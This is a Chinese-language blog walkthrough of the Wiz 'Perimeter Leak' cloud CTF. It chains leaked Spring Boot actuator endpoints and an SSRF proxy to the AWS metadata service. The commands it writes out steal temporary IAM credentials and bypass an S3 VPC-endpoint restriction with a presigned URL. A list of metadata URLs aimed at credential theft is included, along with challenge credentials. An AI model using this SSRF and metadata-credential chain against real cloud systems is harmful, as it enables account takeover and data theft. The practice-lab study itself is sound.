【WIZ】Perimeter Leak
Flow

题目地址:https://cloudsecuritychampionship.com/challenge/1

WP参考:

https://www.techwithtyler.dev/cloud-security/capture-the-flags-ctfs/wiz-the-ultimate-cloud-security-championship/june-2025-perimeter-leak

一个云ctf的靶场,之前朋友推荐的,突然想起来,好久没有做靶场了。

这个平台好像是一个月出一个和云相关的题目,最后是要拿到云容器里面的flag,看了第一关的wp,和aws s3存储桶相关,里面涉及一些存储桶相关的知识,那么就趁这个机会学习一下这方面的知识

第一个挑战难度算简单的

1
2
3
4
【Perimeter Leak】
After weeks of exploits and privilege escalation you've gained access to what you hope is the final server that you can then use to extract out the secret flag from an S3 bucket.

It won't be easy though. The target uses an AWS data perimeter to restrict access to the bucket contents.

就是有一个springboot actuator泄漏,/health,/env,/mappings这些端点都泄漏了,根据提示大概思路就是从这里泄漏里面找到和存储桶有关的信息,最后读到存储桶里面的数据

那么直接访问几个actuator相关的url,去到env端点

1
2
3
4
5
6
7
8
9
10
{
"name": "systemEnvironment",
"properties": {
。。。
"BUCKET": {
"value": "challenge01-470f711",
"origin": "System Environment Property \"BUCKET\""
},
。。。
},

就能找到桶名是challenge01-470f711,拼接aws的域名,可以直接访问尝试

1
2
3
4
5
6
7
8
9
➜  ~ curl -I http://challenge01-470f711.s3.amazonaws.com
HTTP/1.1 403 Forbidden
x-amz-bucket-region: us-east-1
x-amz-request-id: 86DBRNM7NBMG9D01
x-amz-id-2: YE1IN1I+hBx1ZV5ftfYd3Km8pRqbNXeIU4KvqLCSla8+qXuER51ZH5fhNxUgx+ztZvjW1NDeSEk=
Content-Type: application/xml
Transfer-Encoding: chunked
Date: Tue, 18 Nov 2025 06:52:28 GMT
Server: AmazonS3

存储桶确实存在,但是现在没有权限,然后下一步尝试用aws-cli连接,带上选项卡--no-sign-request尝试匿名登陆

1
2
3
➜  ~ aws s3 ls s3://challenge01-470f711/ --no-sign-request

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

也是不允许的Access Denied

按正常做渗透这一步就需要多枚举不同的选项(官方使用手册),获得这个桶的蛛丝马迹

结果是没有,回到springboot泄漏,/actuator/mappings这个展示了这个服务的一些端点信息,包括路由,请求方法,请求参数等

wp里面提供了jq语法直接列出所有可以看到的路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
➜  ~ curl -s https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/actuator/mappings | jq '.contexts.spring.mappings.dispatcherServlets.dispatcherServlet[]?.details?.requestMappingConditions?.patterns[]?'
"/actuator/configprops"
"/actuator/scheduledtasks"
"/actuator/metrics/{requiredMetricName}"
"/actuator/caches"
"/actuator/env/{toMatch}"
"/actuator"
"/actuator/sbom/{id}"
"/actuator/beans"
"/actuator/caches/{cache}"
"/actuator/threaddump"
"/actuator/configprops/{prefix}"
"/actuator/loggers"
"/actuator/health/**"
"/actuator/metrics"
"/actuator/threaddump"
"/actuator/info"
"/actuator/caches/{cache}"
"/actuator/loggers/{name}"
"/actuator/mappings"
"/actuator/loggers/{name}"
"/actuator/caches"
"/actuator/sbom"
"/actuator/env"
"/actuator/conditions"
"/actuator/health"
"/error"
"/proxy"
"/"
"/error"

关注到一个路由/proxy,参数是url

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{
"predicate": "{ [/proxy], params [url]}",
"handler": "challenge.Application#proxy(String)",
"details": {
"handlerMethod": {
"className": "challenge.Application",
"name": "proxy",
"descriptor": "(Ljava/lang/String;)Ljava/lang/String;"
},
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [],
"params": [
{
"name": "url",
"negated": false
}
],
"patterns": [
"/proxy"
],
"produces": []
}
}
}

妥妥ssrf,拿去访问云平台信息接口 169.254.169.254

补充一下这块知识,可以访问的路由有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 获取相关元数据
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/dynamic/

// 获取IAM Role名称
http://169.254.169.254/latest/meta-data/iam/security-credentials/

// 获取角色临时凭证
http://169.254.169.254/latest/meta-data/iam/security-credentials/{rolename}

// 获取网络信息,利于内网探测
http://169.254.169.254/latest/meta-data/network/interfaces/macs/
http://169.254.169.254/latest/meta-data/network/interfaces/macs/<mac>/vpc-id
http://169.254.169.254/latest/meta-data/network/interfaces/macs/<mac>/subnet-id

// 获取公私IP
http://169.254.169.254/latest/meta-data/public-ipv4
http://169.254.169.254/latest/meta-data/local-ipv4

// 获取镜像、实例类型、启动配置
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/instance-id
http://169.254.169.254/latest/meta-data/instance-type

然后这里还有关于IMDSv1和IMDSv2的区别,这里有个[教程][https://security.kpingfan.com/02.ec2-security/01.metadata-service/] 写的很清晰

有些云机器设置了IMDSv2需要有session token才能访问,所以要获取token才能获取数据

1
2
3
4
5
6
7
// 获取Token
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`

// 带上token获取数据
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/

以上主要是aws产品的路由,还有别的厂商的可能路由不一样,如果现实遇到了再去查吧

所以回到这个靶场,结合ssrf访问云服务的元数据端点

1
2
➜  ~ curl "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/"
HTTP error: 401 Unauthorized

还是没有权限,尝试获取token,带上token再访问

1
2
3
4
5
6
➜  ~ TOKEN=`curl -X PUT "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 56 100 56 0 0 35 0 0:00:01 0:00:01 --:--:-- 35
➜ ~ echo $TOKEN
AQAEAGNKTypshAzwdBa5XYUz2Pc0aSyvBcLuNb8DzKd4lO6qs1iXbQ==

这下能拿到信息了

1
2
3
4
5
6
➜  ~ curl -H "X-aws-ec2-metadata-token: $TOKEN" "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/"
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
。。。

下一步获取角色名字

1
2
3
➜  ~ curl -H "X-aws-ec2-metadata-token: $TOKEN" "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

challenge01-5592368%

看看能不能获取临时凭证

1
2
3
4
5
6
7
8
9
10
➜  ~ curl -H "X-aws-ec2-metadata-token: $TOKEN" "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254//latest/meta-data/iam/security-credentials/challenge01-5592368"
{
"Code" : "Success",
"LastUpdated" : "2025-11-18T08:04:55Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIARK7LBOHXNCMTLSXT",
"SecretAccessKey" : "ARHYMMJL7N1Vpsjre7nJTobcHmwfoSdjSqqNG6ON",
"Token" : "IQoJb3JpZ2luX2VjEPn//////////wEaCXVzLWVhc3QtMSJHMEUCIQCQXX3p3qAkedrgYd+ABa8it55Lor1O/vRUSgRHX19yzgIgIHvyT62g2un+9LqtmmK7SG0dQk/EC2MXC0mMgR/zbBcqwQUIwf//////////ARAAGgwwOTIyOTc4NTEzNzQiDIBafVZnTctpiTuubiqVBdJFgfZNm+RSjvpioxrUGeZ+FF3l8kQWTVKARz5/byLAPmFLlHS8CvG/kTqQjmWR9Ud14JKpqwHo95mtuyPlJP2Wa8iHW9gZJlkyRA8Y94oY2Bkx6mFSklJ4ZEwf/KzwbIKisOoYohl+bc7mJVjkQ6tzoqYjkAbYTJYGIGACqIXKXJRG4UprEc60WNhI6tl9ShaPYFeRNYWut7furpFwHhQhwjBI7oY8y3+bszfg6w/AbUpbt8wKTPcJAvU3rXqX0QeEniLcvYoPcctjL+LrgCRx7pT0aXI3pdmhCPkL9RpTBiKDsWqxCR/SWeN75XCVPtPACzj7sD0uZsfgkazxobOWP10GbDmvyIg+bdT6jx7dc0zqLQqz8kMuzzHjqlJlZ/WPWWuXh9Lttc+IDF3p6kwLOZ3IeXNgQE/4pIJA+b0l6G8vQ5NH+DSigiJUD6KC87fJ0i7ldXZzH5l+CI0sZRvyAT3SOzbGB/nMQbd/Vw9RtyoUhycEDPYNlt+4sdeN7t0ED8KHdj1h7rthIONlxHJkUTS+mOumorMzJPNiUPQnhPVyNPAcGXVJ8X1Pn2UP+mUPzoqZ13NUQVZd5Dgv5IXCogzL49nF7HDqlaYssbZSkqF/qKfCUi0EQ/jJj3Z5Knk+fcW0dgK8sSTpnqTG7YZO8I1vF1zU1Kaf5zRsA0esMoZi9CZSNL9aFPKvWf1GbkkW2f+qnRLLowHvsqFI7xHXQ7jUSgAR8dPTvI8RWBK/j48+jJ0YKtDFMjRVqPU4xsFoytkh+AEe4+WtSl/zZ/5jyW6/eZMdV+ugDsWqklUmZM6+rFNP8A3VfYiDC9VisqsNCWPvvdmkqFDj6y/cbsPxalJfoY0H+mwDL2GYigWNrAzc1aswtNHwyAY6sQEBqIb/CtsIklKyrjdGhS5H6VNxJAS998XyqSarhiP40mwOcVzZ3ciNxrZcCWwRimV6QfgiupkLMX2+zVVN/W8DvdGMHskJ+dgwnaygt+QOh45Tbj9NWO40aGU3ugY7Qt2a/ACxsY4aKwF/jdcHINypJdvRxMla/8VWS72t6fCWQsXTF2jnAgavgWTQxyyjrYHlgZpuJF9DgzOVk0EMAXrid8DeLi3NE2q9GTm9BZOWdME=",
"Expiration" : "2025-11-18T14:15:02Z"
}%

成功获取到临时凭证,这里需要编辑两个文件

~/.aws/credentials

1
2
3
4
[c1]
aws_access_key_id = ASIARK7LBOHXNCMTLSXT
aws_secret_access_key = ARHYMMJL7N1Vpsjre7nJTobcHmwfoSdjSqqNG6ON
aws_session_token = IQoJb3JpZ2luX2VjEPn//////////wEaCXVzLWVhc3QtMSJHMEUCIQCQXX3p3qAkedrgYd+ABa8it55Lor1O/vRUSgRHX19yzgIgIHvyT62g2un+9LqtmmK7SG0dQk/EC2MXC0mMgR/zbBcqwQUIwf//////////ARAAGgwwOTIyOTc4NTEzNzQiDIBafVZnTctpiTuubiqVBdJFgfZNm+RSjvpioxrUGeZ+FF3l8kQWTVKARz5/byLAPmFLlHS8CvG/kTqQjmWR9Ud14JKpqwHo95mtuyPlJP2Wa8iHW9gZJlkyRA8Y94oY2Bkx6mFSklJ4ZEwf/KzwbIKisOoYohl+bc7mJVjkQ6tzoqYjkAbYTJYGIGACqIXKXJRG4UprEc60WNhI6tl9ShaPYFeRNYWut7furpFwHhQhwjBI7oY8y3+bszfg6w/AbUpbt8wKTPcJAvU3rXqX0QeEniLcvYoPcctjL+LrgCRx7pT0aXI3pdmhCPkL9RpTBiKDsWqxCR/SWeN75XCVPtPACzj7sD0uZsfgkazxobOWP10GbDmvyIg+bdT6jx7dc0zqLQqz8kMuzzHjqlJlZ/WPWWuXh9Lttc+IDF3p6kwLOZ3IeXNgQE/4pIJA+b0l6G8vQ5NH+DSigiJUD6KC87fJ0i7ldXZzH5l+CI0sZRvyAT3SOzbGB/nMQbd/Vw9RtyoUhycEDPYNlt+4sdeN7t0ED8KHdj1h7rthIONlxHJkUTS+mOumorMz

~/.aws/config

1
2
3
[profile c1]
region = us-east-1
output = json

然后使用awscli验证是否可行

1
2
3
4
5
6
7
aws --profile c1 sts get-caller-identity

{
"UserId": "AROARK7LBOHXDP2J2E3DV:i-0bfc4291dd0acd279",
"Account": "092297851374",
"Arn": "arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279"
}

是没问题的,现在递归查看存储桶里有什么东西

1
2
3
➜  ~ aws --profile c1 s3 ls s3://challenge01-470f711 --recursive
2025-06-19 01:15:24 29 hello.txt
2025-06-17 06:01:49 51 private/flag.txt

下一步直接尝试读flag

1
2
3
➜  ~ aws s3 cp s3://challenge01-470f711/private/flag.txt - --profile c1

download failed: s3://challenge01-470f711/private/flag.txt to - An error occurred (403) when calling the HeadObject operation: Forbidden

依旧是被限制住了权限,目前角色没有 s3:GetObject权限

尝试获取存储桶具体的policy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
➜  ~ aws --profile c1 s3api get-bucket-policy --bucket challenge01-470f711 \
--query "Policy" --output text | jq .
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::challenge01-470f711/private/*",
"Condition": {
"StringNotEquals": {
"aws:SourceVpce": "vpce-0dfd8b6aa1642a057"
}
}
}
]
}

结果显示除非请求来自 VPC Endpoint vpce-0dfd8b6aa1642a057, 否则拒绝 (Deny) 所有对 private/* 的 GetObject 操作,所以我们想读制定文件,请求必须经过 指定的 VPC Endpoint

那么整理一下信息:

  • 我们现在从metedata里面拿到了一个实例角色
  • 该角色属于EC2,EC2就在VPC里面
  • 所以来自EC2的请求默认经过制定的VPC Endpoint

所以本地访问没有用,需要通过EC2内部访问

而前面有一个ssrf的点,可以从EC2中发起请求

最后步骤:生成一个 Presigned URL,让 EC2 通过 SSRF 来访问 S3

默认情况下,所有 Amazon S3 对象都是私有的,只有对象拥有者才具有访问它们的权限。但是,对象拥有者可以通过创建Presigned URL 与其他人共享对象。Presigned URL 使用安全凭证来授予下载对象的限时权限。可以在浏览器中输入此 URL,或者程序使用此 URL 来下载对象。Presigned URL 使用的凭证是生成该 URL 的 AWS 用户的凭证。

官方文档

1
2
3
➜  ~ aws --profile c1 s3 presign s3://challenge01-470f711/private/flag.txt

https://challenge01-470f711.s3.us-east-1.amazonaws.com/private/flag.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIARK7LBOHXNCMTLSXT%2F20251118%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20251118T091534Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=...

输出一个url,注意,需要对这个url进行url编码,不然后面用到ssrf的时候会把参数自动截断

1
2
➜  ~ curl "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=$decodeurk"
The flag is: WIZ_CTF_...

最后成功输出url

End

好吧写完笔记就觉得不是那么复杂了,钱钱记录一下,这里面还是涉及到挺多云相关的概念,有这么一个靶场还是挺好的,后面有别的关卡是关于容器逃逸的,后面有时间也可以试试。

aws相关的知识点给我感觉也是一个体系了,发现一个大佬搭的blog很好,期待后面别的靶场让我学到里面的知识。

涉及知识点:ssrf,springboot端点泄漏,aws s3存储桶查看信息,云服务元数据端点读取。。。

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep